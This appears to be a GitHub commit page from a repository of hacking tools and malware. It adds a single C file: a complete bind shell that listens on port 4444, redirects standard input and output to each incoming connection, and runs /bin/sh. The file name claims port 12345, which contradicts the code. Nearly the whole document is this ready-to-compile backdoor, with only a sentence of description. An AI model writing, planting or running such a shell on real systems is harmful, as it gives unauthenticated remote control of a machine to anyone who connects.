This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.
JavaScript algorithmsartificial-intelligencebugbountycryptographycyber-threat-intelligencecybersecurity-projectsethical-hackinghacking-toolsmalwarenessusnetwork-monitoringnetwork-securitynmapportscannerpythonpythonprojectsthreat-intelligencevirus-scanning
Create This code binds a socket to a high port (in this case, 12345) and executes a shell when the connection occurs.This technique is common, but has some problems. If the host being exploited has a firewall with a default deny policy, the attacker will be unable to connect to the shell.c
Abdul Wahab Junaid4ac778d5bce4
diff --git a/C Hacking Tools/This code binds a socket to a high port (in this case, 12345) and executes a shell when the connection occurs.This technique is common, but has some problems. If the host being exploited has a firewall with a default deny policy, the attacker will be unable to connect to the shell.c b/C Hacking Tools/This code binds a socket to a high port (in this case, 12345) and executes a shell when the connection occurs.This technique is common, but has some problems. If the host being exploited has a firewall with a default deny policy, the attacker will be unable to connect to the shell.cnew file mode 100644index 0000000..77ac78d--- /dev/null+++ b/C Hacking Tools/This code binds a socket to a high port (in this case, 12345) and executes a shell when the connection occurs.This technique is common, but has some problems. If the host being exploited has a firewall with a default deny policy, the attacker will be unable to connect to the shell.c@@ -0,0 +1,57 @@+#include <stdio.h>+#include <stdlib.h>+#include <sys/socket.h>+#include <netinet/in.h>+#include <unistd.h>++int main() {+ // Create a socket+ int sockfd = socket(AF_INET, SOCK_STREAM, 0);+ if (sockfd < 0) {+ perror("Socket creation failed");+ exit(EXIT_FAILURE);+ }++ // Define the server address structure+ struct sockaddr_in serv_addr;+ serv_addr.sin_family = AF_INET;+ serv_addr.sin_addr.s_addr = INADDR_ANY;+ serv_addr.sin_port = htons(4444); // Port 4444 in network byte order++ // Bind the socket to the server address+ if (bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {+ perror("Bind failed");+ exit(EXIT_FAILURE);+ }++ // Start listening for incoming connections+ if (listen(sockfd, 5) < 0) {+ perror("Listen failed");+ exit(EXIT_FAILURE);+ }++ while (1) {+ // Accept incoming connections+ int newsockfd = accept(sockfd, NULL, NULL);+ if (newsockfd < 0) {+ perror("Accept failed");+ continue;+ }++ // Redirect standard input, output, and error to the new socket+ dup2(newsockfd, 0); // stdin+ dup2(newsockfd, 1); // stdout+ dup2(newsockfd, 2); // stderr++ // Execute /bin/sh+ execl("/bin/sh", "sh", NULL);++ // Close the new socket+ close(newsockfd);+ }++ // Close the listening socket (this code is unreachable in this example)+ close(sockfd);++ return 0;+}